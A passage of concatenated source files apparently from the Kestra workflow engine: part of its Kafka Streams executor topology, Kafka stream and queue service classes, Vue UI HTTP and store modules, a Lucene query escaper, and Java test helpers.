Produced.with(Serdes.String(), JsonSerde.of(WorkerTaskResult.class)).withName("PurgeExecutor.toWorkerTaskResult")
);
// clean up WorkerTask deduplication state
taskRunKStream
.transformValues(
() -> new DeduplicationPurgeTransformer<>(
WORKERTASK_DEDUPLICATION_STATE_STORE_NAME,
(key, value) -> value.getExecutionId() + "-" + value.getId()
),
Named.as("PurgeExecutor.purgeWorkerTaskDeduplication"),
WORKERTASK_DEDUPLICATION_STATE_STORE_NAME
);
taskRunKStream
.transformValues(
() -> new DeduplicationPurgeTransformer<>(
WORKERTASK_DEDUPLICATION_STATE_STORE_NAME,
(key, value) -> "WorkerTaskExecution-" + value.getExecutionId() + "-" + value.getId()
),
Named.as("PurgeExecutor.purgeWorkerTaskExecutionDeduplication"),
WORKERTASK_DEDUPLICATION_STATE_STORE_NAME
);
// clean up Execution Nexts deduplication state
terminated
.transformValues(
() -> new DeduplicationPurgeTransformer<>(
NEXTS_DEDUPLICATION_STATE_STORE_NAME,
(key, value) -> value.getExecution().getId()
),
Named.as("PurgeExecutor.purgeNextsDeduplication"),
NEXTS_DEDUPLICATION_STATE_STORE_NAME
);
// clean up killed
terminatedWithKilled
.mapValues(
(readOnlyKey, value) -> (ExecutionKilled) null,
Named.as("PurgeExecutor.executionKilledToNull")
)
.to(
kafkaAdminService.getTopicName(ExecutionKilled.class),
Produced.with(Serdes.String(), JsonSerde.of(ExecutionKilled.class)).withName("PurgeExecutor.toExecutionKilled")
);
}
private void toExecutorFlowTriggerTopic(KStream<String, Executor> stream) {
stream
.filter(
(key, value) -> conditionService.isTerminatedWithListeners(value.getFlow(), value.getExecution()),
Named.as("HandleExecutorFlowTriggerTopic.filterTerminated")
)
.transformValues(
() -> new DeduplicationTransformer<>(
"FlowTrigger",
TRIGGER_DEDUPLICATION_STATE_STORE_NAME,
(key, value) -> value.getExecution().getId(),
(key, value) -> value.getExecution().getId()
),
Named.as("HandleExecutorFlowTriggerTopic.deduplication"),
TRIGGER_DEDUPLICATION_STATE_STORE_NAME
)
.filter((key, value) -> value != null, Named.as("HandleExecutorFlowTriggerTopic.deduplicationNotNull"))
.flatTransform(
() -> new FlowWithTriggerTransformer(
flowService
),
Named.as("HandleExecutorFlowTriggerTopic.flatMapToExecutorFlowTrigger")
)
.to(
kafkaAdminService.getTopicName(ExecutorFlowTrigger.class),
Produced.with(Serdes.String(), JsonSerde.of(ExecutorFlowTrigger.class)).withName("PurgeExecutor.toExecutorFlowTrigger")
);
}
private void handleFlowTrigger(KStream<String, ExecutorFlowTrigger> stream) {
stream
.transformValues(
() -> new FlowTriggerWithExecutionTransformer(
TRIGGER_MULTIPLE_STATE_STORE_NAME,
flowService
),
Named.as("HandleFlowTrigger.transformToExecutionList"),
TRIGGER_MULTIPLE_STATE_STORE_NAME
)
.flatMap(
(key, value) -> value
.stream()
.map(execution -> new KeyValue<>(execution.getId(), execution))
.collect(Collectors.toList()),
Named.as("HandleFlowTrigger.flapMapToExecution")
)
.to(
kafkaAdminService.getTopicName(Execution.class),
Produced.with(Serdes.String(), JsonSerde.of(Execution.class)).withName("HandleFlowTrigger.toExecution")
);
stream
.mapValues(
(readOnlyKey, value) -> (ExecutorFlowTrigger)null,
Named.as("HandleFlowTrigger.executorFlowTriggerToNull")
)
.to(
kafkaAdminService.getTopicName(ExecutorFlowTrigger.class),
Produced.with(Serdes.String(), JsonSerde.of(ExecutorFlowTrigger.class)).withName("HandleFlowTrigger.toExecutorFlowTrigger")
);
}
private void toWorkerTask(KStream<String, Executor> stream) {
// deduplication worker task
KStream<String, WorkerTask> dedupWorkerTask = stream
.flatMapValues(
(readOnlyKey, value) -> value.getWorkerTasks(),
Named.as("HandleWorkerTask.flatMapToWorkerTask")
)
.transformValues(
() -> new DeduplicationTransformer<>(
"WorkerTask",
WORKERTASK_DEDUPLICATION_STATE_STORE_NAME,
(key, value) -> value.getTaskRun().getExecutionId() + "-" + value.getTaskRun().getId(),
(key, value) -> value.getTaskRun().getState().getCurrent().name()
),
Named.as("HandleWorkerTask.deduplication"),
WORKERTASK_DEDUPLICATION_STATE_STORE_NAME
)
.filter((key, value) -> value != null, Named.as("HandleWorkerTask.notNullFilter"));
// flowable > running to WorkerTaskResult
KStream<String, WorkerTaskResult> resultFlowable = dedupWorkerTask
.filter((key, value) -> value.getTask().isFlowable(), Named.as("HandleWorkerTaskFlowable.filterIsFlowable"))
.mapValues(
(key, value) -> new WorkerTaskResult(value.withTaskRun(value.getTaskRun().withState(State.Type.RUNNING))),
Named.as("HandleWorkerTaskFlowable.toRunning")
)
.map(
(key, value) -> new KeyValue<>(queueService.key(value), value),
Named.as("HandleWorkerTaskFlowable.mapWithKey")
)
.selectKey(
(key, value) -> queueService.key(value),
Named.as("HandleWorkerTaskFlowable.selectKey")
);
KStream<String, WorkerTaskResult> workerTaskResultKStream = KafkaStreamSourceService.logIfEnabled(
log,
resultFlowable,
(key, value) -> log(log, false, value),
"HandleWorkerTaskFlowable"
);
workerTaskResultKStream
.to(
kafkaAdminService.getTopicName(WorkerTaskResult.class),
Produced.with(Serdes.String(), JsonSerde.of(WorkerTaskResult.class)).withName("HandleWorkerTaskFlowable.toWorkerTaskResult")
);
// not flowable > to WorkerTask
KStream<String, WorkerTask> resultNotFlowable = dedupWorkerTask
.filter((key, value) -> !value.getTask().isFlowable(), Named.as("HandleWorkerTaskNotFlowable.filterIsNotFlowable"))
.map((key, value) -> new KeyValue<>(queueService.key(value), value), Named.as("HandleWorkerTaskNotFlowable.mapWithKey"))
.selectKey(
(key, value) -> queueService.key(value),
Named.as("HandleWorkerTaskNotFlowable.selectKey")
);
KStream<String, WorkerTask> workerTaskKStream = KafkaStreamSourceService.logIfEnabled(
log,
resultNotFlowable,
(key, value) -> log(log, false, value),
"HandleWorkerTaskNotFlowable"
);
workerTaskKStream
.to(
kafkaAdminService.getTopicName(WorkerTask.class),
Produced.with(Serdes.String(), JsonSerde.of(WorkerTask.class)).withName("HandleWorkerTaskNotFlowable.toWorkerTask")
);
}
private KTable<String, WorkerTaskExecution> workerTaskExecutionStream(StreamsBuilder builder) {
return builder
.table(
kafkaAdminService.getTopicName(WorkerTaskExecution.class),
Consumed.with(Serdes.String(), JsonSerde.of(WorkerTaskExecution.class)).withName("WorkerTaskExecution.from"),
Materialized.<String, WorkerTaskExecution, KeyValueStore<Bytes, byte[]>>as("workertaskexecution")
.withKeySerde(Serdes.String())
.withValueSerde(JsonSerde.of(WorkerTaskExecution.class))
);
}
private KStream<String, WorkerTaskExecution> deduplicateWorkerTaskExecution(KStream<String, Executor> stream) {
return stream
.flatMapValues(
(readOnlyKey, value) -> value.getWorkerTaskExecutions(),
Named.as("DeduplicateWorkerTaskExecution.flatMap")
)
.transformValues(
() -> new DeduplicationTransformer<>(
"DeduplicateWorkerTaskExecution",
WORKERTASK_DEDUPLICATION_STATE_STORE_NAME,
(key, value) -> "WorkerTaskExecution-" + value.getTaskRun().getExecutionId() + "-" + value.getTaskRun().getId(),
(key, value) -> value.getTaskRun().getState().getCurrent().name()
),
Named.as("DeduplicateWorkerTaskExecution.deduplication"),
WORKERTASK_DEDUPLICATION_STATE_STORE_NAME
)
.filter((key, value) -> value != null, Named.as("DeduplicateWorkerTaskExecution.notNullFilter"));
}
private void toWorkerTaskExecution(KStream<String, WorkerTaskExecution> stream) {
stream
.selectKey(
(key, value) -> value.getExecution().getId(),
Named.as("ToWorkerTaskExecution.selectKey")
)
.to(
kafkaAdminService.getTopicName(WorkerTaskExecution.class),
Produced.with(Serdes.String(), JsonSerde.of(WorkerTaskExecution.class)).withName("ToWorkerTaskExecution.toWorkerTaskExecution")
);
}
private void workerTaskExecutionToExecution(KStream<String, WorkerTaskExecution> stream) {
stream
.mapValues(
value -> {
String message = "Create new execution for flow '" +
value.getExecution().getNamespace() + "'." + value.getExecution().getFlowId() +
"' with id '" + value.getExecution().getId() + "' from task '" + value.getTask().getId() +
"' and taskrun '" + value.getTaskRun().getId() +
(value.getTaskRun().getValue() != null ? " (" + value.getTaskRun().getValue() + ")" : "") + "'";
log.info(message);
LogEntry.LogEntryBuilder logEntryBuilder = LogEntry.of(value.getTaskRun()).toBuilder()
.level(Level.INFO)
.message(message)
.timestamp(value.getTaskRun().getState().getStartDate())
.thread(Thread.currentThread().getName());
return logEntryBuilder.build();
},
Named.as("WorkerTaskExecutionToExecution.mapToLog")
)
.selectKey((key, value) -> (String)null, Named.as("WorkerTaskExecutionToExecution.logRemoveKey"))
.to(
kafkaAdminService.getTopicName(LogEntry.class),
Produced.with(Serdes.String(), JsonSerde.of(LogEntry.class)).withName("WorkerTaskExecutionToExecution.toLogEntry")
);
KStream<String, Execution> executionKStream = stream
.mapValues(
(key, value) -> value.getExecution(),
Named.as("WorkerTaskExecutionToExecution.map")
)
.selectKey(
(key, value) -> value.getId(),
Named.as("WorkerTaskExecutionToExecution.selectKey")
);
executionKStream = KafkaStreamSourceService.logIfEnabled(
log,
executionKStream,
(key, value) -> log(log, false, value),
"WorkerTaskExecutionToExecution"
);
executionKStream
.to(
kafkaAdminService.getTopicName(Execution.class),
Produced.with(Serdes.String(), JsonSerde.of(Execution.class)).withName("WorkerTaskExecutionToExecution.toExecution")
);
}
private void handleWorkerTaskExecution(KTable<String, WorkerTaskExecution> workerTaskExecutionKTable, KStream<String, Executor> stream) {
KStream<String, WorkerTaskResult> joinKStream = stream
.filter(
(key, value) -> conditionService.isTerminatedWithListeners(value.getFlow(), value.getExecution()),
Named.as("HandleWorkerTaskExecution.isTerminated")
)
.transformValues(
() -> new WorkerTaskExecutionTransformer(runContextFactory, workerTaskExecutionKTable.queryableStoreName()),
Named.as("HandleWorkerTaskExecution.transform"),
workerTaskExecutionKTable.queryableStoreName()
)
.filter((key, value) -> value != null, Named.as("HandleWorkerTaskExecution.joinNotNullFilter"));
toWorkerTaskResultSend(joinKStream, "HandleWorkerTaskExecution");
}
private void toWorkerTaskResult(KStream<String, Executor> stream) {
KStream<String, WorkerTaskResult> workerTaskResultKStream = stream
.flatMapValues(
(readOnlyKey, value) -> value.getWorkerTaskResults(),
Named.as("HandleWorkerTaskResult.flapMap")
);
toWorkerTaskResultSend(workerTaskResultKStream, "HandleWorkerTaskResult");
}
private void toWorkerTaskResultSend(KStream<String, WorkerTaskResult> stream, String name) {
KStream<String, WorkerTaskResult> workerTaskResultKStream = stream
.transformValues(
() -> new DeduplicationTransformer<>(
name,
WORKERTASK_DEDUPLICATION_STATE_STORE_NAME,
(key, value) -> value.getTaskRun().getExecutionId() + "-" + value.getTaskRun().getId(),
(key, value) -> value.getTaskRun().getState().getCurrent().name()
),
Named.as(name + ".deduplication"),
WORKERTASK_DEDUPLICATION_STATE_STORE_NAME
)
.filter((key, value) -> value != null, Named.as(name + ".notNullFilter"))
.selectKey(
(key, value) -> value.getTaskRun().getId(),
Named.as(name + ".selectKey")
);
KafkaStreamSourceService.logIfEnabled(
log,
workerTaskResultKStream,
(key, value) -> log(log, false, value),
name
)
.to(
kafkaAdminService.getTopicName(WorkerTaskResult.class),
Produced.with(Serdes.String(), JsonSerde.of(WorkerTaskResult.class)).withName(name + ".toWorkerTaskResult")
);
}
private void purgeWorkerRunning(KStream<String, WorkerTaskResult> workerTaskResultKStream) {
workerTaskResultKStream
.filter((key, value) -> value.getTaskRun().getState().isTerninated(), Named.as("PurgeWorkerRunning.filterTerminated"))
.mapValues((readOnlyKey, value) -> (WorkerTaskRunning)null, Named.as("PurgeWorkerRunning.toNull"))
.to(
kafkaAdminService.getTopicName(WorkerTaskRunning.class),
Produced.with(Serdes.String(), JsonSerde.of(WorkerTaskRunning.class)).withName("PurgeWorkerRunning.toWorkerTaskRunning")
);
}
private void detectNewWorker(KStream<String, WorkerInstance> workerInstanceKStream, GlobalKTable<String, WorkerTaskRunning> workerTaskRunningGlobalKTable) {
workerInstanceKStream
.to(
kafkaAdminService.getTopicName(TOPIC_EXECUTOR_WORKERINSTANCE),
Produced.with(Serdes.String(), JsonSerde.of(WorkerInstance.class)).withName("DetectNewWorker.toExecutorWorkerInstance")
);
KStream<String, WorkerInstanceTransformer.Result> stream = workerInstanceKStream
.transformValues(
WorkerInstanceTransformer::new,
Named.as("DetectNewWorker.workerInstanceTransformer")
)
.flatMapValues((readOnlyKey, value) -> value, Named.as("DetectNewWorker.flapMapList"));
// we resend the worker task from evicted worker
KStream<String, WorkerTask> resultWorkerTask = stream
.flatMapValues(
(readOnlyKey, value) -> value.getWorkerTasksToSend(),
Named.as("DetectNewWorkerTask.flapMapWorkerTaskToSend")
);
// and remove from running since already sent
resultWorkerTask
.map((key, value) -> KeyValue.pair(value.getTaskRun().getId(), (WorkerTaskRunning)null), Named.as("DetectNewWorkerTask.workerTaskRunningToNull"))
.to(
kafkaAdminService.getTopicName(WorkerTaskRunning.class),
Produced.with(Serdes.String(), JsonSerde.of(WorkerTaskRunning.class)).withName("DetectNewWorker.toWorkerTaskRunning")
);
KafkaStreamSourceService.logIfEnabled(
log,
resultWorkerTask,
(key, value) -> log.debug(
">> OUT WorkerTask resend : {}",
value.getTaskRun().toStringState()
),
"DetectNewWorkerTask"
)
.to(
kafkaAdminService.getTopicName(WorkerTask.class),
Produced.with(Serdes.String(), JsonSerde.of(WorkerTask.class)).withName("DetectNewWorkerTask.toWorkerTask")
);
// we resend the WorkerInstance update
KStream<String, WorkerInstance> updatedStream = KafkaStreamSourceService.logIfEnabled(
log,
stream,
(key, value) -> log.debug(
"Instance updated: {}",
value
),
"DetectNewWorkerInstance"
)
.map(
(key, value) -> value.getWorkerInstanceUpdated(),
Named.as("DetectNewWorkerInstance.mapInstance")
);
// cleanup executor workerinstance state store
updatedStream
.filter((key, value) -> value != null, Named.as("DetectNewWorkerInstance.filterNotNull"))
.to(
kafkaAdminService.getTopicName(TOPIC_EXECUTOR_WORKERINSTANCE),
Produced.with(Serdes.String(), JsonSerde.of(WorkerInstance.class)).withName("DetectNewWorkerInstance.toExecutorWorkerInstance")
);
updatedStream
.to(
kafkaAdminService.getTopicName(WorkerInstance.class),
Produced.with(Serdes.String(), JsonSerde.of(WorkerInstance.class)).withName("DetectNewWorkerInstance.toWorkerInstance")
);
}
private void toExecution(KStream<String, Executor> stream) {
KStream<String, Executor> streamFrom = stream
.filter((key, value) -> value.isExecutionUpdated(), Named.as("ToExecution.haveFrom"))
.transformValues(
ExecutorAddHeaderTransformer::new,
Named.as("ToExecution.addHeaders")
);
// send execution
KStream<String, Executor> executionKStream = streamFrom
.filter((key, value) -> value.getException() == null, Named.as("ToExecutionExecution.notException"));
toExecutionSend(executionKStream, "ToExecutionExecution");
// send exception
KStream<String, Pair<Executor, Execution.FailedExecutionWithLog>> failedStream = streamFrom
.filter((key, value) -> value.getException() != null, Named.as("ToExecutionException.isException"))
.mapValues(
e -> Pair.of(e, e.getExecution().failedExecutionFromExecutor(e.getException())),
Named.as("ToExecutionException.mapToFailedExecutionWithLog")
);
failedStream
.flatMapValues(e -> e.getRight().getLogs(), Named.as("ToExecutionException.flatmapLogs"))
.selectKey((key, value) -> (String)null, Named.as("ToExecutionException.removeKey"))
.to(
kafkaAdminService.getTopicName(LogEntry.class),
Produced.with(Serdes.String(), JsonSerde.of(LogEntry.class)).withName("ToExecutionException.toLogEntry")
);
KStream<String, Executor> executorFailedKStream = failedStream
.mapValues(e -> e.getLeft().withExecution(e.getRight().getExecution(), "failedExecutionFromExecutor"), Named.as("ToExecutionException.mapToExecutor"));
toExecutionSend(executorFailedKStream, "ToExecutionException");
}
private void toExecutionSend(KStream<String, Executor> stream, String from) {
stream = KafkaStreamSourceService.logIfEnabled(
log,
stream,
(key, value) -> log(log, false, value),
from
);
stream
.transformValues(
() -> new StateStoreTransformer<>(EXECUTOR_STATE_STORE_NAME, Executor::serialize),
Named.as(from + ".store"),
EXECUTOR_STATE_STORE_NAME
)
.mapValues((readOnlyKey, value) -> value.getExecution(), Named.as(from + ".mapToExecution"))
.to(
kafkaAdminService.getTopicName(Execution.class),
Produced.with(Serdes.String(), JsonSerde.of(Execution.class)).withName(from + ".toExecution")
);
}
@NoArgsConstructor
@Getter
public static class WorkerTaskResultState {
Map<String, WorkerTaskResult> results = new HashMap<>();
}
@AllArgsConstructor
@Getter
public static class WorkerTaskRunningWithWorkerTaskRunning {
WorkerInstance workerInstance;
WorkerTaskRunning workerTaskRunning;
}
@NoArgsConstructor
@Getter
public static class WorkerTaskRunningState {
Map<String, WorkerTaskRunning> workerTaskRunnings = new HashMap<>();
}
@Override
public void run() {
kafkaAdminService.createIfNotExist(WorkerTask.class);
kafkaAdminService.createIfNotExist(WorkerTaskResult.class);
kafkaAdminService.createIfNotExist(Execution.class);
kafkaAdminService.createIfNotExist(Flow.class);
kafkaAdminService.createIfNotExist(Executor.class);
kafkaAdminService.createIfNotExist(KafkaStreamSourceService.TOPIC_EXECUTOR_WORKERINSTANCE);
kafkaAdminService.createIfNotExist(ExecutionKilled.class);
kafkaAdminService.createIfNotExist(WorkerTaskExecution.class);
kafkaAdminService.createIfNotExist(WorkerTaskRunning.class);
kafkaAdminService.createIfNotExist(WorkerInstance.class);
kafkaAdminService.createIfNotExist(Template.class);
kafkaAdminService.createIfNotExist(LogEntry.class);
kafkaAdminService.createIfNotExist(Trigger.class);
kafkaAdminService.createIfNotExist(ExecutorFlowTrigger.class);
Properties properties = new Properties();
// hack, we send application context in order to use on exception handler
properties.put(StreamsConfig.DEFAULT_PRODUCTION_EXCEPTION_HANDLER_CLASS_CONFIG, KafkaExecutorProductionExceptionHandler.class);
properties.put(KafkaExecutorProductionExceptionHandler.APPLICATION_CONTEXT_CONFIG, applicationContext);
// build
Topology topology = this.topology().build();
if (log.isTraceEnabled()) {
log.trace(topology.describe().toString());
}
resultStream = kafkaStreamService.of(this.getClass(), this.getClass(), topology, properties);
resultStream.start();
applicationContext.registerSingleton(new KafkaTemplateExecutor(
resultStream.store(StoreQueryParameters.fromNameAndType("template", QueryableStoreTypes.keyValueStore()))
));
this.flowExecutorInterface = new KafkaFlowExecutor(
resultStream.store(StoreQueryParameters.fromNameAndType("flow", QueryableStoreTypes.keyValueStore())),
applicationContext
);
applicationContext.registerSingleton(this.flowExecutorInterface);
}
@Override
public void close() throws IOException {
if (this.resultStream != null) {
this.resultStream.close(Duration.ofSeconds(10));
this.resultStream = null;
}
}
}
<|start_filename|>runner-kafka/src/main/java/io/kestra/runner/kafka/services/KafkaStreamService.java<|end_filename|>
package io.kestra.runner.kafka.services;
import io.micrometer.core.instrument.Tag;
import io.micrometer.core.instrument.binder.kafka.KafkaStreamsMetrics;
import io.micronaut.context.annotation.Value;
import lombok.extern.slf4j.Slf4j;
import org.apache.kafka.clients.CommonClientConfigs;
import org.apache.kafka.common.TopicPartition;
import org.apache.kafka.streams.KafkaStreams;
import org.apache.kafka.streams.StreamsConfig;
import org.apache.kafka.streams.Topology;
import org.apache.kafka.streams.errors.StreamsException;
import org.apache.kafka.streams.processor.StateRestoreListener;
import io.kestra.core.metrics.MetricRegistry;
import io.kestra.runner.kafka.configs.ClientConfig;
import io.kestra.runner.kafka.configs.StreamDefaultsConfig;
import java.time.Duration;
import java.util.List;
import java.util.Properties;
import javax.inject.Inject;
import javax.inject.Singleton;
import javax.validation.constraints.NotNull;
@Singleton
@Slf4j
public class KafkaStreamService {
@Inject
@NotNull
private ClientConfig clientConfig;
@Inject
private StreamDefaultsConfig streamConfig;
@Inject
private KafkaConfigService kafkaConfigService;
@Inject
private MetricRegistry metricRegistry;
@Value("${kestra.server.metrics.kafka.stream:true}")
protected Boolean metricsEnabled;
public KafkaStreamService.Stream of(Class<?> clientId, Class<?> groupId, Topology topology) {
return this.of(clientId, groupId, topology, new Properties());
}
public KafkaStreamService.Stream of(Class<?> clientId, Class<?> groupId, Topology topology, Properties properties) {
properties.putAll(clientConfig.getProperties());
if (this.streamConfig.getProperties() != null) {
properties.putAll(streamConfig.getProperties());
}
properties.put(CommonClientConfigs.CLIENT_ID_CONFIG, clientId.getName());
properties.put(StreamsConfig.APPLICATION_ID_CONFIG, kafkaConfigService.getConsumerGroupName(groupId));
return new Stream(topology, properties, metricsEnabled ? metricRegistry : null);
}
public static class Stream extends KafkaStreams {
private KafkaStreamsMetrics metrics;
private Stream(Topology topology, Properties props, MetricRegistry meterRegistry) {
super(topology, props);
if (meterRegistry != null) {
metrics = new KafkaStreamsMetrics(
this,
List.of(
Tag.of("client_type", "stream"),
Tag.of("client_class_id", (String) props.get(CommonClientConfigs.CLIENT_ID_CONFIG))
)
);
meterRegistry.bind(metrics);
}
}
public synchronized void start(final KafkaStreams.StateListener listener) throws IllegalStateException, StreamsException {
this.setUncaughtExceptionHandler((thread, e) -> {
log.error("Uncaught exception in Kafka Stream " + thread.getName() + ", closing !", e);
System.exit(1);
});
this.setGlobalStateRestoreListener(new StateRestoreLoggerListeners());
this.setStateListener((newState, oldState) -> {
if (log.isInfoEnabled()) {
log.info("Switching stream state from {} to {}", oldState, newState);
}
if (listener != null) {
listener.onChange(newState, oldState);
}
});
super.start();
}
@Override
public synchronized void start() throws IllegalStateException, StreamsException {
this.start(null);
}
@Override
public void close() {
if (metrics != null) {
metrics.close();
}
super.close();
}
@Override
public boolean close(Duration timeout) {
if (metrics != null) {
metrics.close();
}
return super.close(timeout);
}
}
public static class StateRestoreLoggerListeners implements StateRestoreListener {
@Override
public void onRestoreStart(TopicPartition topicPartition, String storeName, long startingOffset, long endingOffset) {
if (log.isDebugEnabled()) {
log.debug(
"Starting restore topic '{}', partition '{}', store '{}' from {} to {}",
topicPartition.topic(),
topicPartition.partition(),
storeName,
startingOffset,
endingOffset
);
}
}
@Override
public void onBatchRestored(TopicPartition topicPartition, String storeName, long batchEndOffset, long numRestored) {
if (log.isTraceEnabled()) {
log.trace(
"Restore done for topic '{}', partition '{}', store '{}' at offset {} with {} records",
topicPartition.topic(),
topicPartition.partition(),
storeName,
batchEndOffset,
numRestored
);
}
}
@Override
public void onRestoreEnd(TopicPartition topicPartition, String storeName, long totalRestored) {
if (log.isDebugEnabled()) {
log.debug(
"Restore ended for topic '{}', partition '{}', store '{}'",
topicPartition.topic(),
topicPartition.partition(),
storeName
);
}
}
}
}
<|start_filename|>ui/src/utils/queryBuilder.js<|end_filename|>
import moment from "moment";
export default class QueryBuilder {
static toLucene(q) {
let query = q;
query = query.replace(/</g, "");
query = query.replace(/>/g, "");
query = query.replace(/\//g, "");
query = query.replace(/\\/g, "");
query = query.replace(/&/g, "");
query = query.replace(/!/g, "");
query = query.replace(/([\^~*?:"+-=|(){}[\]])/g, "\\$1")
return `(*${query}* OR ${query})`;
}
static iso(date) {
return moment(new Date(parseInt(date))).toISOString(true);
}
}
<|start_filename|>ui/src/stores/template.js<|end_filename|>
import Vue from "vue"
export default {
namespaced: true,
state: {
templates: undefined,
template: undefined,
total: 0,
},
actions: {
findTemplates({commit}, options) {
const sortString = options.sort ? `?sort=${options.sort}` : ""
delete options.sort
return Vue.axios.get(`/api/v1/templates/search${sortString}`, {
params: options
}).then(response => {
commit("setTemplates", response.data.results)
commit("setTotal", response.data.total)
return response.data;
})
},
loadTemplate({commit}, options) {
return Vue.axios.get(`/api/v1/templates/${options.namespace}/${options.id}`).then(response => {
commit("setTemplate", response.data)
return response.data;
})
},
saveTemplate({commit}, options) {
return Vue.axios.put(`/api/v1/templates/${options.template.namespace}/${options.template.id}`, options.template).then(response => {
if (response.status >= 300) {
return Promise.reject(new Error("Server error on template save"))
} else {
commit("setTemplate", response.data)
return response.data;
}
})
},
createTemplate({commit}, options) {
return Vue.axios.post("/api/v1/templates", options.template).then(response => {
commit("setTemplate", response.data)
return response.data;
})
},
deleteTemplate({commit}, template) {
return Vue.axios.delete(`/api/v1/templates/${template.namespace}/${template.id}`).then(() => {
commit("setTemplate", null)
})
},
},
mutations: {
setTemplates(state, templates) {
state.templates = templates
},
setTemplate(state, template) {
state.template = template;
},
setTotal(state, total) {
state.total = total
},
},
}
<|start_filename|>runner-kafka/src/main/java/io/kestra/runner/kafka/KafkaQueueService.java<|end_filename|>
package io.kestra.runner.kafka;
import lombok.extern.slf4j.Slf4j;
import io.kestra.core.queues.QueueService;
import io.kestra.runner.kafka.configs.TopicsConfig;
import org.slf4j.Logger;
import javax.inject.Inject;
import javax.inject.Singleton;
@Slf4j
@Singleton
public class KafkaQueueService {
public <T> void log(Logger log, TopicsConfig topicsConfig, String key, T object, String message) {
if (log.isTraceEnabled()) {
log.trace("{} on topic '{}', value {}", message, topicsConfig.getName(), object);
} else if (log.isDebugEnabled()) {
log.trace("{} on topic '{}', key {}", message, topicsConfig.getName(), key);
}
}
}
<|start_filename|>ui/src/http.js<|end_filename|>
import Vue from "vue";
import VueAxios from "vue-axios";
import axios from "axios";
import qs from "qs";
// eslint-disable-next-line no-undef
let root = (process.env.VUE_APP_API_URL || "") + KESTRA_BASE_PATH;
if (!root.endsWith("/")) {
root = root + "/";
}
axios.defaults.paramsSerializer = (params) => {
return qs.stringify(params, {indices: false});
}
export default (callback, store, nprogress) => {
const instance = axios.create({
timeout: 15000,
headers: {
"Content-Type": "application/json"
},
onUploadProgress: function (progressEvent) {
if (progressEvent && progressEvent.loaded && progressEvent.total) {
const percent = Math.round((progressEvent.loaded / progressEvent.total) * 100) / 100;
nprogress.set(percent - 0.10);
}
}
})
instance.interceptors.response.use(
response => {
return response
}, errorResponse => {
if (errorResponse.response.status === 404) {
console.log(errorResponse.response.status)
store.dispatch("core/showError", errorResponse.response.status)
} else if (errorResponse.response && errorResponse.response.data) {
store.dispatch("core/showMessage", {
content: errorResponse.response.data,
variant: "danger"
})
}
return Promise.reject(errorResponse);
})
Vue.use(
VueAxios,
instance
);
Vue.axios.defaults.baseURL = root;
callback();
};
export const apiRoot = `${root}api/v1/`
<|start_filename|>core/src/test/java/io/kestra/core/Helpers.java<|end_filename|>
package io.kestra.core;
import io.micronaut.context.ApplicationContext;
import io.micronaut.context.env.Environment;
import io.micronaut.runtime.server.EmbeddedServer;
import io.kestra.core.contexts.KestraApplicationContextBuilder;
import io.kestra.core.contexts.KestraClassLoader;
import io.kestra.core.plugins.PluginRegistry;
import io.kestra.core.plugins.PluginScanner;
import io.kestra.core.plugins.RegisteredPlugin;
import java.net.URISyntaxException;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.List;
import java.util.Map;
import java.util.Objects;
import java.util.function.BiConsumer;
public class Helpers {
public static long FLOWS_COUNT = 47;
public static ApplicationContext applicationContext() throws URISyntaxException {
return applicationContext(
Paths.get(Objects.requireNonNull(Helpers.class.getClassLoader().getResource("plugins")).toURI())
);
}
public static ApplicationContext applicationContext(Map<String, Object> properties) throws URISyntaxException {
return applicationContext(
Paths.get(Objects.requireNonNull(Helpers.class.getClassLoader().getResource("plugins")).toURI()),
properties
);
}
public static ApplicationContext applicationContext(Path pluginsPath) {
return applicationContext(
pluginsPath,
null
);
}
public static ApplicationContext applicationContext(Path pluginsPath, Map<String, Object> properties) {
if (!KestraClassLoader.isInit()) {
KestraClassLoader.create(Thread.currentThread().getContextClassLoader());
}
PluginScanner pluginScanner = new PluginScanner(KestraClassLoader.instance());
List<RegisteredPlugin> scan = pluginScanner.scan(pluginsPath);
PluginRegistry pluginRegistry = new PluginRegistry(scan);
KestraClassLoader.instance().setPluginRegistry(pluginRegistry);
return new KestraApplicationContextBuilder()
.mainClass(Helpers.class)
.environments(Environment.TEST)
.properties(properties)
.classLoader(KestraClassLoader.instance())
.pluginRegistry(pluginRegistry)
.build();
}
public static void runApplicationContext(BiConsumer<ApplicationContext, EmbeddedServer> consumer) throws URISyntaxException {
try (ApplicationContext applicationContext = Helpers.applicationContext().start()) {
EmbeddedServer embeddedServer = applicationContext.getBean(EmbeddedServer.class);
embeddedServer.start();
consumer.accept(applicationContext, embeddedServer);
}
}
}
<|start_filename|>core/src/test/java/io/kestra/core/tasks/flows/TemplateTest.java<|end_filename|>
package io.kestra.core.tasks.flows;
import com.google.common.collect.ImmutableMap;
import org.junit.jupiter.api.Test;
import io.kestra.core.models.executions.Execution;
import io.kestra.core.models.flows.State;
import io.kestra.core.repositories.TemplateRepositoryInterface;
import io.kestra.core.runners.AbstractMemoryRunnerTest;
import io.kestra.core.runners.RunnerUtils;
import io.kestra.core.tasks.debugs.Return;
import java.time.Duration;
import java.util.Collections;
import java.util.concurrent.TimeoutException;
import javax.inject.Inject;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.hamcrest.Matchers.hasSize;
import static org.hamcrest.Matchers.is;
public class TemplateTest extends AbstractMemoryRunnerTest {
@Inject
protected TemplateRepositoryInterface templateRepository;
public static final io.kestra.core.models.templates.Template TEMPLATE = io.kestra.core.models.templates.Template.builder()
.id("template")
.namespace("io.kestra.tests")
.tasks(Collections.singletonList(Return.builder().id("test").type(Return.class.getName()).format("{{ parent.outputs.args['my-forward'] }}").build())).build();
public static void withTemplate(RunnerUtils runnerUtils, TemplateRepositoryInterface templateRepository) throws TimeoutException {
templateRepository.create(TEMPLATE);
Execution execution = runnerUtils.runOne(
"io.kestra.tests",
"with-template",
null,
(flow, execution1) -> runnerUtils.typedInputs(flow, execution1, ImmutableMap.of(
"with-string", "myString",
"with-optional", "myOpt"
)),
Duration.ofSeconds(60)
);
assertThat(execution.getTaskRunList(), hasSize(4));
assertThat(execution.getState().getCurrent(), is(State.Type.SUCCESS));
assertThat(
execution.findTaskRunsByTaskId("test").get(0).getOutputs().get("value"),
is("myString")
);
}
@Test
void withTemplate() throws TimeoutException {
TemplateTest.withTemplate(runnerUtils, templateRepository);
}
}
<|start_filename|>core/src/main/java/io/kestra/core/models/tasks/Task.java<|end_filename|>
package io.kestra.core.models.tasks;
import com.fasterxml.jackson.annotation.JsonIgnore;
import com.fasterxml.jackson.annotation.JsonInclude;
